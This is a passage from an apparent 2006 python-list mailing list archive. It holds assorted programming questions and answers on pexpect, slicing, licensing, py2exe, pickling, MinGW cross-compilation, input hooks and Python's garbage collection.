sleeves up and pitching in". > > Sniping from the sidelines is far easier than hard work towards a goal. > Hey, that is how this whole thread started! Good observation. Robert From jurian at juriansluiman.nl Sat Oct 28 17:14:53 2006 From: jurian at juriansluiman.nl (Jurian Sluiman) Date: Sat, 28 Oct 2006 23:14:53 +0200 Subject: Get pexpect to work Message-ID: <1162070093.10335.7.camel@karlijn.lan> Hi all, I'm trying to build a program to set up a vpn connection. I'm using pexpect to handle this, but I can't get it to work. The sendline() is causing troubles. I tested it in the interactive promt, with these results: >>> import pexpect >>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf") >>> child.expect(".* password .*: ") 0 >>> child.sendline("[here_my_password]") 7 The sendline returns an exit code 7, but I don't what it should be. I saw an example here, where sendline returns an exit code 10: http://www.jinx.com/forum/topic.asp?TOPIC_ID=53947. After this peace of code, I don't have a vpn connection. I'm sure my password is correct. What's going wrong? Thanks in advance, Jurian Sluiman -------------- next part -------------- An HTML attachment was scrubbed... URL: From bearophileHUGS at lycos.com Sun Oct 8 08:36:58 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 8 Oct 2006 05:36:58 -0700 Subject: Newbie - Stuck In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> Message-ID: <1160311018.565666.134540@i42g2000cwa.googlegroups.com> r3bol at yahoo.com: Python is strongly typed, and it converts types automatically less often than Perl. The purpose of such strong(er) typing is to allow to catch some kind of bugs, and to make the syntax simpler, more readable, etc. > message = "abc" > password = "z12" > scrambled = message ^ password ^ is defined among integers: >>> 55 ^ 126 73 You need more explicit code like: >>> msg = "abc" >>> pwd = "z12" >>> [ord(c1) ^ ord(c2) for c1,c2 in zip(msg, pwd)] [27, 83, 81] >>> [chr(ord(c1)^ord(c2)) for c1,c2 in zip(msg, pwd)] ['\x1b', 'S', 'Q'] >>> "".join( chr(ord(c1)^ord(c2)) for c1,c2 in zip(msg, pwd) ) '\x1bSQ' > I also wondered why this errored as well... > int(messege) > Is it not meant to convert a string to a number? You can use int to truncate a float to int, or a string containing an int to int (it accepts an optional base too): >>> int("55") 55 >>> int(5.23) 5 >>> int("5.23") Traceback ... ValueError: invalid literal for int() with base 10: '5.23' >>> int("abc") Traceback ... Bye, bearophile From fredrik at pythonware.com Tue Oct 31 14:10:31 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 20:10:31 +0100 Subject: 3d programming without opengl In-Reply-To: <12kf7gishr60ta3@corp.supernews.com> References: <12kf7gishr60ta3@corp.supernews.com> Message-ID: Grant Edwards wrote: > Oy. A pure Python solution would probably be _really_ slow. Pure Python doesn't necessarily imply "no graphics drawing code written in some other language", though. You can get pretty far by using a 2D library for simple 3D rendering. From ewijaya at i2r.a-star.edu.sg Mon Oct 16 05:01:44 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Mon, 16 Oct 2006 17:01:44 +0800 Subject: Where to find pydoc? References: Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net> Hi, Thanks for the reply. Red Hat Linux Enterprise: Linux host.com 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686 i686 i386 GNU/Linux Python 2.3.4. Any problem with that? --- Edward ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Marc 'BlackJack' Rintsch Sent: Mon 10/16/2006 5:00 PM To: python-list at python.org Subject: Re: Where to find pydoc? In , Wijaya Edward wrote: > > I tried to call pydoc from my Linux box. > To my realization that it doesn't contain > pydoc. > > I thought this module should be a default module. Yes it is part of the standard library. What distribution are you using? Ciao, Marc 'BlackJack' Rintsch -- http://mail.python.org/mailman/listinfo/python-list ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From martitzam at gmail.com Sun Oct 8 20:23:31 2006 From: martitzam at gmail.com (Martitza) Date: 8 Oct 2006 17:23:31 -0700 Subject: Python license question Message-ID: <1160353411.470511.307190@c28g2000cwb.googlegroups.com> Hi. I work for a small company (actually in process of forming) interested in embedding or extending python as part of our commercial non-open-source product. We have legal counsel, but are interested in the spirit as well as the letter of the law. Not much seems to have been written about the python license since version 2, so pointers to more recent discussions or contacts are appreciated. If this is not the right place to ask these questions, I would welcome better ideas. We've read the license and "layman's language" at http://www.python.org/psf/license/ and are need help reconciling the two. First Observation The entire license -- such as produced by license() -- includes a lot of information which appears to be historical or anecdotal, not the kind of language our lawyers usually see in licensing agreements. Lawyers claim they don't like "extra" language. You be the judge. :) First Question Is all of that information really a required part of the license we pass on to our customers or is the "PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2" portion sufficient? Second Observation Referring to sections 2 and 3 of the PSF License Version 2... Our non-open-source product will be a derived work, either by extending or embedding the python interpreter. According to section 3, we will briefly summarize these modifications to the python interpreter as these relate to our product. Good. Section 2 says that we (as Licensee of the original python) have to include without our modified python a copy of the license. The License explicitly states in section 1 that it is between the PSF and the end user. At the moment, we are the end user. But when we sell our software as a derived work, our customer becomes the end user. So our customers are entering into a direct agreement with PSF. This indemnifies the PSF (sections 4,5,6,7) -- also good. But there is a side effect of section 2 that would seem to give our customers many rights ("to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute...") to the derived work we created. We would have a problem with our customers distributing our derivative work or preparing derivative works of our derivative work. We could of course apply our own restrictive license to things which are truly ours, but we cannot do this to the work derived from python because that would conflict with section 2 of the python license. Second Question Can we we prevent our commercial customers from freely redistributing or modifying our derived version of python? The answer seems like "no" from the License itself but "yes" from the layman's language. Of course, our lawyers only look at the license. Thank you for your time. Our goal is to understand and be good corporate citizens. We believe python would be a great benefit to our customers, and we are looking for a viable business model that allows that. Martitza From kloro2006 at gmail.com Fri Oct 20 14:53:08 2006 From: kloro2006 at gmail.com (tom arnall) Date: Fri, 20 Oct 2006 11:53:08 -0700 Subject: cross-linked version of the python documentation References: <453904e0$0$25170$88260bb3@free.teranews.com> Message-ID: <45390db8$0$19612$88260bb3@free.teranews.com> Simon Brunning wrote: > On 10/20/06, tom arnall wrote: >> Is there a cross-linked version of the python documentation available? Is >> anyone interested in starting a project for such? > > What do you mean by cross-linked? If the term e.g. 'span()' is used in a discussion of 'search()' in the regex documentation, then there is a hyperlink from that appearance of the term to the documentation for 'span()'. I think this would be very helpful to newbies like myself. Thanks, tom arnall north spit, ca usa -- Posted via a free Usenet account from http://www.teranews.com From alistair.king at helsinki.fi Wed Oct 25 04:38:19 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Wed, 25 Oct 2006 11:38:19 +0300 Subject: dict problem Message-ID: <453F227B.5000203@helsinki.fi> Hi, ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error: Traceback (most recent call last): File "DS1excessH2O.py", line 242, in ? updateDS1v(FCas, C, XDS) NameError: name 'C' is not defined dictionary is: DS1v = {'C': 6, 'H': 10, 'O': 5} #'Fxas' in each case will be integers but 'atoms' should be a float def updateDS1v(Fxas, x, XDS): while Fxas != 0: atoms = DS1v.get('x') + Fxas*XDS DS1v[x] = atoms updateDS1v(FCas, C, XDS) updateDS1v(FHas, H, XDS) updateDS1v(FOas, O, XDS) updateDS1v(FNas, N, XDS) updateDS1v(FSas, S, XDS) updateDS1v(FClas, Cl, XDS) updateDS1v(FBras, Br, XDS) updateDS1v(FZnas, Zn, XDS) print DS1v I know there is probably a simple solution but im quite new to python and am lost? Ali -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From onurb at xiludom.gro Tue Oct 24 04:09:45 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 10:09:45 +0200 Subject: pytho servlet engine In-Reply-To: <1161652946.506350.207550@b28g2000cwb.googlegroups.com> References: <1161652946.506350.207550@b28g2000cwb.googlegroups.com> Message-ID: <453dca4b$0$22735$426a34cc@news.free.fr> makerjoe wrote: > hi, all > i would like to know which is the best PSE "best" according to what metrics ? > i have to choose to use > servlets with mod_python in my HRYDROGEN project > (http://makerjoe.sytes.net/pycrud/query.psp) -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From michiel at thingmajig.org Sun Oct 1 04:50:31 2006 From: michiel at thingmajig.org (Michiel Sikma) Date: Sun, 1 Oct 2006 10:50:31 +0200 Subject: "Wiki in 10 minutes" In-Reply-To: References: Message-ID: Thanks a lot to both of you. :) Michiel On Oct 1, 2006, at 12:12 AM, Steve Holden wrote: > Michiel Sikma wrote: >> Hello everybody. >> >> I recently had a bit of data loss and, among some other minor things, >> lost my bookmarks. I once bookmarked this video tutorial which >> allegedly showed how to make a wiki in 10 minutes with some Python >> network framework. Does anybody know which one it might have been? >> I've been meaning to do it for some time now. >> >> Any other links pertaining to the creation of web applications with >> Python, which I'm only just getting into, would also be appreciated. >> Thanks! > > http://www.turbogears.org/docs/tutorials/wiki20/ > TurboGears: 20 Minute Wiki Tutorial > > http://wiki.python.org/moin/WebProgramming > Web Programming - PythonInfo Wiki > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden > > -- > http://mail.python.org/mailman/listinfo/python-list Michiel Sikma michiel at thingmajig.org From fredrik at pythonware.com Tue Oct 17 02:34:24 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 08:34:24 +0200 Subject: a question about s[i:j] when i is negative In-Reply-To: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> Message-ID: dracula571 wrote: > but k[-6:2] = [1,2] > why k[-6:2] is [1,2]not [].i do follow (3),to make i positive by > plusing len(k) twice. twice? From fredrik at pythonware.com Sun Oct 8 17:52:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 23:52:49 +0200 Subject: references and buffer() In-Reply-To: References: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com> Message-ID: km wrote: > why is that python doesnt implement direct memory addressing provided a > reference to an object exists ? because Python is a portable high-level language. if you want assembler, you shouldn't use Python. did you read the "reset your brain" article ? From lycka at carmen.se Wed Oct 18 16:35:35 2006 From: lycka at carmen.se (Magnus Lycka) Date: Wed, 18 Oct 2006 22:35:35 +0200 Subject: How to write Smart Python programs? In-Reply-To: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> Message-ID: Raj wrote: > Hi, > > We just executed a project with Python using TG. The feedback was to > use more python like programming rather than C style code executed in > Python. The feedback is from a Python purist and for some reasons we > cannot solicity his help. > > So we'd like to do is to scrub through the codebase and identify places > where the codebase needs improvement, both from styling as well as > design. Is there any website that can provide me with advanced tips > rather than just tutorials coz thats not of much help. Python Cookbook. There's both a web site and a book version. From larry.bates at websafe.com Fri Oct 13 10:55:42 2006 From: larry.bates at websafe.com (Larry Bates) Date: Fri, 13 Oct 2006 09:55:42 -0500 Subject: Python Newbie question In-Reply-To: <1160714037.401129.219400@e3g2000cwe.googlegroups.com> References: <1160714037.401129.219400@e3g2000cwe.googlegroups.com> Message-ID: insideview at gmail.com wrote: > Is it possible to combine or bundle separate .exe files into the > compiled python .exe when using py2exe? If possible, how would that be > described within setup.py ..... and how/where would I specify such .exe > should be ran first in the pre-compiled scripts? My goal is to get the > total package down to as few files as possible, so I appreciate > understanding how I could do this. The .exe is some low-level commands > that was compiled in a separate language.... but I hope this little > .exe can be included gracefully. Thank you for your expertise! :) AMYMC > Do this with the installer instead of with py2exe. Take a look at Inno Setup (http://www.jrsoftware.org/isinfo.php). With it you can put as many files (.exe or otherwise) and have supporting .exe's run in any order you wish (after installation). This was you have only 1 file (setup.exe) that needs to be distributed. Doesn't really matter ho many files it installs when it runs, that's all hidden from the user anyway. -Larry Bates From rogue_pedro at yahoo.com Tue Oct 24 19:56:43 2006 From: rogue_pedro at yahoo.com (Simon Forman) Date: 24 Oct 2006 16:56:43 -0700 Subject: Sending Dictionary via Network In-Reply-To: <1161731374.373983.56110@m73g2000cwd.googlegroups.com> References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> <1161731374.373983.56110@m73g2000cwd.googlegroups.com> Message-ID: <1161734203.189942.42020@k70g2000cwa.googlegroups.com> mumebuhi wrote: > Thank you very much for the reply. > > Can pickle work directly with socket? The way I am doing right now is > to pickle the object to a file then send the file content through the > socket. Pickle aso has dumps() and loads() to work with strings rather than files. Peace, ~Simon From dracula571 at gmail.com Tue Oct 17 04:39:55 2006 From: dracula571 at gmail.com (dracula571) Date: 17 Oct 2006 01:39:55 -0700 Subject: a question about s[i:j] when i is negative In-Reply-To: <1161067048.047048.159870@e3g2000cwe.googlegroups.com> References: <1161066186.490960.326230@m73g2000cwd.googlegroups.com> <1161067048.047048.159870@e3g2000cwe.googlegroups.com> Message-ID: <1161074395.530531.290560@f16g2000cwb.googlegroups.com> mensanator at aol.com ??? > dracula571 wrote: > > s[i:j] slice of s from i to j (3), (4) > > > > (3) > > If i or j is negative, the index is relative to the end of the string: > > len(s) + i or len(s) + j is substituted. But note that -0 is still 0. > > > > > > (4) > > The slice of s from i to j is defined as the sequence of items with > > index k such that i <= k < j. If i or j is greater than len(s), use > > len(s). If i is omitted or None, use 0. If j is omitted or None, use > > len(s). If i is greater than or equal to j, the slice is empty. > > > > i can't follow (3) very well. > > for example:k = [1,2,3,4,5] > > k[-1:2]=[] > > k[-5:2]=[1,2] > > but k[-6:2] = [1,2] > > why k[-6:2] is [1,2]not []. > > Because 6 is greater then len(k), so when you ask > for i=-6, you get i=-5 instead. And relative -5 is actually > absolute 0 which is less than 2, so you do not get an > empty slice. > > > i do follow (3),to make i positive by > > plusing len(k) twice.But the result is not what i expect.why,or did i > > misunderstand the rule of (3). > > See (4). when compared with len(k), the value of i is a absolute value? in this example,i used -6 to compare with len(k). I misunstood the rule (4),and used (3) wrong by plusing len(k) twice to make it positive ,that is -6 + len(k) + len(k) = 4. Thanks From gagsl-py at yahoo.com.ar Tue Oct 10 04:31:26 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 10 Oct 2006 05:31:26 -0300 Subject: How to find a file or a device is currently used by which process or which program ? In-Reply-To: <452B572C.6020303@gmail.com> References: <452B572C.6020303@gmail.com> Message-ID: <7.0.1.0.0.20061010053020.046f0ae0@yahoo.com.ar> At Tuesday 10/10/2006 05:17, fdu.xiaojf at gmail.com wrote: >When I want to uninstall my usb disk on windows, the operating systems >sometimes tells me the device is being used by other program. But I >can't find which program is using it. Can I do this using python ? I don't know with Python, but Process Explorer from www.sysinternals.com will show you all open files from all running processes. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From steve at holdenweb.com Tue Oct 24 21:49:55 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 02:49:55 +0100 Subject: How to find out the directory that the py file is in? In-Reply-To: <1161738784.293256.113900@m73g2000cwd.googlegroups.com> References: <1161733168.997417.298450@i42g2000cwa.googlegroups.com> <1161738784.293256.113900@m73g2000cwd.googlegroups.com> Message-ID: PengYu.UT at gmail.com wrote: > > On Oct 24, 7:01 pm, Gabriel Genellina wrote: > >>At Tuesday 24/10/2006 20:39, PengYu... at gmail.com wrote: >> >> >>>I have the following python script and some_command in the same >>>directory. I have to call the python script from that directory. >>>Otherwise, some_command won't be found. I'm wondering how to make the >>>following script working no matter what the working directory is.print > > >>os.path.abspath(__file__) > > > How to get the absolute dir name which the file is in? Is there any > function can be called easily? > > Thanks, > Peng > That would be os.path.split(os.path.abspath(__file__))[0] You *are* planning to read the documentation at some stage, right? ;-) regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From ashutosh.mishra at gmail.com Thu Oct 12 15:16:36 2006 From: ashutosh.mishra at gmail.com (Ash) Date: 12 Oct 2006 12:16:36 -0700 Subject: Enthought python - Traits Message-ID: <1160680596.521987.110210@e3g2000cwe.googlegroups.com> Hello everyone ! I am trying to find some sort of a cookbook or more examples for using Enthought Traits to build GUI's. I tried to follow the documentations present at the enthought site, but couldnt get too far - especially on how to handle a control event ? Also while i am on the topic: say i have a list "control" that create using the following two lines: class Project(HasTraits): coordinate_system=Enum('Cartesian','Cylindrical') I added the following line to get the option selected by the user: def _coordinate_system_changed(self,old,new): print 'System changed from %s to %s ' %(old,new) but it does not return what the user select. It should return either 0 or 1 based on the two choices, but i can't seem to find a way to trap that. I am relatively new to this GUI programming in Python and really could use some tips/hints. Thanks, -Ash From horpner at yahoo.com Mon Oct 30 14:33:45 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 30 Oct 2006 20:33:45 +0100 Subject: scared about refrences... References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: On 2006-10-30, SpreadTooThin wrote: > def fn(list): > list[1] = 0 > > myList = [1, 2, 3] > print myList > fn(myList) > print myList > >>>> [1,2,3] >>>> [1,0,3] > > How can I avoid this? In this case this is a really simplified > example but the effects are the same... How do I specify or > create deep copies of objects that may contain other objects > that may contain other object that may contain other > objects.... See 3.18 Copy -- Shallow and deep copy operations. -- Neil Cerutti I pulled into a lay-by with smoke coming from under the bonnet. I realized the car was on fire so took my dog and smothered it with a blanket. --Insurance Claim Blooper From sjmachin at lexicon.net Sun Oct 8 08:52:10 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 05:52:10 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> <1160222386.410987.230630@b28g2000cwb.googlegroups.com> Message-ID: <1160311930.881364.268980@k70g2000cwa.googlegroups.com> Lawrence D'Oliveiro wrote: > In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John > Machin wrote: > > > > > Steven D'Aprano wrote: > >> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: > >> > >> > > >> > MonkeeSage wrote: > >> >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: > >> >> > it is clearer to you to make the condition explicit ("blah not > >> >> > False"), > >> >> > >> >> "blah not False" -> "blah is False" > >> > > >> > Whichever way your team wants to interpret it, d00d. > >> > > >> > Please consider whether you should be writing "(blah is False) is > >> > True", that would be more explicit. > >> > >> Puh-lease! Get it right! > >> > >> It should be "((blah is False) is True) is True". > >> > > > > Yes, but it stops after one more iteration. "What I tell you three > > times is true" -- the Bellman, "The Hunting of the Snark", by Lewis > > Carroll. > > But that was only said once, wasn't it? And the Bellman made no statement at all about the truthfulness of statements made any other number of times than three. From sjmachin at lexicon.net Sat Oct 7 07:59:46 2006 From: sjmachin at lexicon.net (John Machin) Date: 7 Oct 2006 04:59:46 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> Message-ID: <1160222386.410987.230630@b28g2000cwb.googlegroups.com> Steven D'Aprano wrote: > On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: > > > > > MonkeeSage wrote: > >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: > >> > it is clearer to you to make the condition explicit ("blah not False"), > >> > >> "blah not False" -> "blah is False" > > > > Whichever way your team wants to interpret it, d00d. > > > > Please consider whether you should be writing "(blah is False) is > > True", that would be more explicit. > > Puh-lease! Get it right! > > It should be "((blah is False) is True) is True". > Yes, but it stops after one more iteration. "What I tell you three times is true" -- the Bellman, "The Hunting of the Snark", by Lewis Carroll. From jordan.taylor2 at gmail.com Mon Oct 9 15:11:46 2006 From: jordan.taylor2 at gmail.com (Jordan) Date: 9 Oct 2006 12:11:46 -0700 Subject: intercepting keypresses, mouse movements, joystick movements. In-Reply-To: <1160412473.376459.112060@m73g2000cwd.googlegroups.com> References: <1160412473.376459.112060@m73g2000cwd.googlegroups.com> Message-ID: <1160421106.543520.81810@c28g2000cwb.googlegroups.com> Another option is to look at pywin32, which I believe has the SetWindowsHook[Ex] commands, or to use ctypes (which is built in if you're using python2.5) to load the neccessary dll's to use that function. However, pyHook should be good unless you need something for the joystick (don't think that's covered), or for detecting system or dead keys (unless pyHook has been updated recently, the last time I checked the docs said it didn't capture those keys). Good Luck, Jordan TheSeeker wrote: > bryan rasmussen wrote: > > Hi, > > > > I've been looking at autohotkey to do some different usability hacks > > for windows http://www.autohotkey.com/ > > one of the benefits of this language is it allows one to catch > > keyboard usage, joystick usage, and mouse usage inputs very easily at > > a global level or at application levels by watching applications for > > events within the applications. > > > > I was wondering if there were any python libraries that provided > > similar functionality before I went ahead with the project though. > > > > Cheers, > > Bryan Rasmussen > > You might take a look at pyHook: > http://sourceforge.net/project/showfiles.php?group_id=65529&package_id=92632 From rw at smsnet.pl Wed Oct 4 13:32:46 2006 From: rw at smsnet.pl (Rob Wolfe) Date: Wed, 04 Oct 2006 19:32:46 +0200 Subject: How to ask sax for the file encoding References: Message-ID: <871wpokmv5.fsf@smsnet.pl> "Edward K. Ream" writes: > Can anyone tell me how the content handler can determine the encoding of the > file? Can sax provide this info? Try this: from xml.parsers import expat s = """ Title Chapter 1 """ class MyParser(object): def XmlDecl(self, version, encoding, standalone): print "XmlDecl", version, encoding, standalone def Parse(self, data): Parser = expat.ParserCreate() Parser.XmlDeclHandler = self.XmlDecl Parser.Parse(data, 1) parser = MyParser() parser.Parse(s) -- HTH, Rob From anthra.norell at vtxmail.ch Wed Oct 25 07:28:36 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Wed, 25 Oct 2006 13:28:36 +0200 Subject: mean ans std dev of an array? In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> Message-ID: <453F4A64.1000507@vtxmail.ch> SpreadTooThin wrote: > import array > a = array.array('f', [1,2,3]) > > print a.mean() > print a.std_dev() > > Is there a way to calculate the mean and standard deviation on array > data? > > Do I need to import it into a Numeric Array to do this? > > I quickly fish this out of my functions toolbox. There's got to be faster functions in scipy, though. Frederic (Disclaimer: If you build an air liner or a ocean liner with this and the wings fall off at thirty thousand feet or it turns upside down in the middle of an ocean, respectively of course, I expect a bunch of contingency lawers lining up at my door wanting to sue you on my behalf.) def standard_deviation (values): """ Takes a sequence and returns mean, variance and standard deviation. Non-values (None) are skipped """ import math mean = _sum_values_squared = _sum_values = 0.0 l = len (values) i = 0 item_count = 0 while i < l: value = values [i] if value != None: _sum_values += value _sum_values_squared += value * value item_count += 1 i += 1 if item_count < 2: # having skipped all Nones return None, None, None mean = _sum_values / item_count variance = (_sum_values_squared - item_count * mean * mean) / (item_count - 1) if variance < 0.0: variance = 0.0 # Rounding errors can cause minute negative values which would crash the sqrt standard_deviation = math.sqrt (variance) return mean, variance, standard_deviation From nick at craig-wood.com Sat Oct 14 01:33:51 2006 From: nick at craig-wood.com (Nick Craig-Wood) Date: Sat, 14 Oct 2006 00:33:51 -0500 Subject: building extensions for Windows Python References: Message-ID: JW wrote: > I have a lousy little Python extension, generated with the generous help > of Pyrex. In Linux, things are simple. I compile the extension, link it > against some C stuff, and *poof*! everything works. ;-) > My employer wants me to create a Windows version of my extension that > works with the vanilla Python 2.5 from python.org. > > My employment contract states that I won't be required to run Windows, and > I desperately want to honor that clause. Ideally, I'd somehow MinGw cross > compile like I do with C/C++ and *poof*!, out would pop a file I could > hand out to someone who wanted to "import ". You can do that no trouble - we do. We use mingw on linux to compile stuff for windows all the time. (We use the mingw package under debian) We build extensions using mingw but linked to the link library of the official python2.4 build. The extensions then run with the standard python.org install. Here are some (slightly dated) instructions which you'll need to adapt to your setup /misc/windows is a smb mounted windows machine # Linking with the distributed python # # http://bonsai.ims.u-tokyo.ac.jp/~mdehoon/software/python/cygwin.html # # On a windows machine # install the latest windows python (2.4.3.msi) from www.python.org # Copy the header files into the mingw installation cp -av /misc/windows/Python24/include /usr/i586-mingw32msvc/include/python2.4 # Download pexports from here # http://www.emmestech.com/software/cygwin/pexports-0.43/download_pexports.html # unpack pexports.exe unzip pexports-0.43.zip # Fetch python dll from the windows machine cp -av /misc/windows/WINNT/system32/python24.dll . # Extract the exported symbols wine pexports python24.dll > python24.def # Create the link library /usr/i586-mingw32msvc/bin/dlltool --dllname python24.dll --def python24.def --output-lib libpython2.4.a # Move the files into the correct place mv -i python24.dll python24.def libpython2.4.a /usr/i586-mingw32msvc/lib/ After that lot you can build python extensions with mingw under linux, using -lpython2.4 which will run under windows. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From http Tue Oct 24 23:00:31 2006 From: http (Paul Rubin) Date: 24 Oct 2006 20:00:31 -0700 Subject: numbers to string References: Message-ID: <7x64e9drqo.fsf@ruckus.brouhaha.com> "David Isaac" writes: > >>> y > [116, 114, 121, 32, 116, 104, 105, 115] > >>> z=''.join(chr(yi) for yi in y) > >>> z > 'try this' > > What is an efficient way to do this if y is much longer? import array z = array.array('B',y).tostring() From fredrik at pythonware.com Thu Oct 5 01:12:27 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 05 Oct 2006 07:12:27 +0200 Subject: How to ask sax for the file encoding In-Reply-To: <452439bf$0$29051$9b622d9e@news.freenet.de> References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> <4523f44d$0$4528$e4fe514c@news.xs4all.nl> <4524226b$0$4520$e4fe514c@news.xs4all.nl> <452439bf$0$29051$9b622d9e@news.freenet.de> Message-ID: Martin v. L?wis wrote: > A common problem is to save the data in the same encoding that they > original had; this is what an editor typically does (you may know > Edward Ream for writing editors). XML parsers are notoriously bad > in supporting editors. There are too many lexical details that may > need to be preserved (such as the order of the attributes, and the > spaces inside the opening tag) to make it impractical to report all > that to the application. an editor designed to work on the XML serialization level shouldn't use a traditional XML parser at all, of course. definitely not SAX or DOM, or any other infoset-or-higher-level API. on the other hand, an editor that just happens to use XML as a serialization format might as well decide on a model representation and an encoding and stick to it. being tolerant in what it accepts is a good idea, of course, but being consistent in what it generates is an even better idea. From bearophileHUGS at lycos.com Sun Oct 8 06:08:30 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 8 Oct 2006 03:08:30 -0700 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> Message-ID: <1160302110.502512.152280@i42g2000cwa.googlegroups.com> Tim Chase: > It still doesn't solve the aforementioned problem > of things like ')))(((' which is balanced, but psychotic. :) This may solve the problem: def balanced(txt): d = {'(':1, ')':-1} tot = 0 for c in txt: tot += d.get(c, 0) if tot < 0: return False return tot == 0 print balanced("42^((2x+2)sin(x)) + (log(2)/log(5))") # True print balanced("42^((2x+2)sin(x) + (log(2)/log(5))") # False print balanced("42^((2x+2)sin(x))) + (log(2)/log(5))") # False print balanced(")))(((") # False A possibile alternative for Py 2.5. The dict solution looks better, but this may be faster: def balanced2(txt): tot = 0 for c in txt: tot += 1 if c=="(" else (-1 if c==")" else 0) if tot < 0: return False return tot == 0 Bye, bearophile From hanumizzle at gmail.com Sun Oct 8 16:16:07 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 8 Oct 2006 16:16:07 -0400 Subject: references and buffer() In-Reply-To: References: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com> Message-ID: <463ff4860610081316r7a96c31ex92632f09a6492ec5@mail.gmail.com> On 10/8/06, km wrote: > Hi all, > > > > Say that you copy the contents of file foo into file bar and delete > > the original foo. Of course file bar still exists in this case. Not > > much of a difference; I haven't seen buffer objects yet (I am also new > > to Python), but the initialization for the buffer probably copies > > whatever is in y somewhere. > > that means when u refer to an object with different names (variable), it > referes to the same object- fine. but is it that the original object stays > in memory until it is Garbage Collected ? Exactly. > is it that del() deletes the link of variable to the object and not the > object ? and thats why u can access it from other variables ? Exactly. > > You didn't modify the object that the variable /refers to/. > > Furthermore, numbers are immutable anyway. To continue with the Hindu > > god analogy, Vishnu did not cease to exist when any of his avatars > > passed from the physical world; it is no different with objects in > > Python. > > vishnu analogy is a bit complicated as it is a manifestation of divine > energy in terms of earthly object(avatar). Its clearly not a reference. each > avatar is himself (vishnu). It is the same energy people around have too > (coz of manifestation). ofcourse they dont realise coz of ego (id in python) > and so the object class (divine energy) is the same - unlike python where > we have different classes derived from object class. Congratulations, you understand both Hinduism and Python better than I do now. :) c.f. http://www.swami-krishnananda.org/brdup/brhad_III-09.html "Kati references, Yajnavalkya, iti?" (It is worth noting that a subclass is an instance of its superclass, both in terms of interface and implementation.) > so the object exists until there are no references to it and will be > Garbage Collected immediately? Python uses two garbage collection schemes together. It uses reference counting (when number of references goes to zero, remove object from memory) and mark-and-sweep (comb through process memory methodically looking for objects that are no longer accessible). This is what allows it to collect cyclic 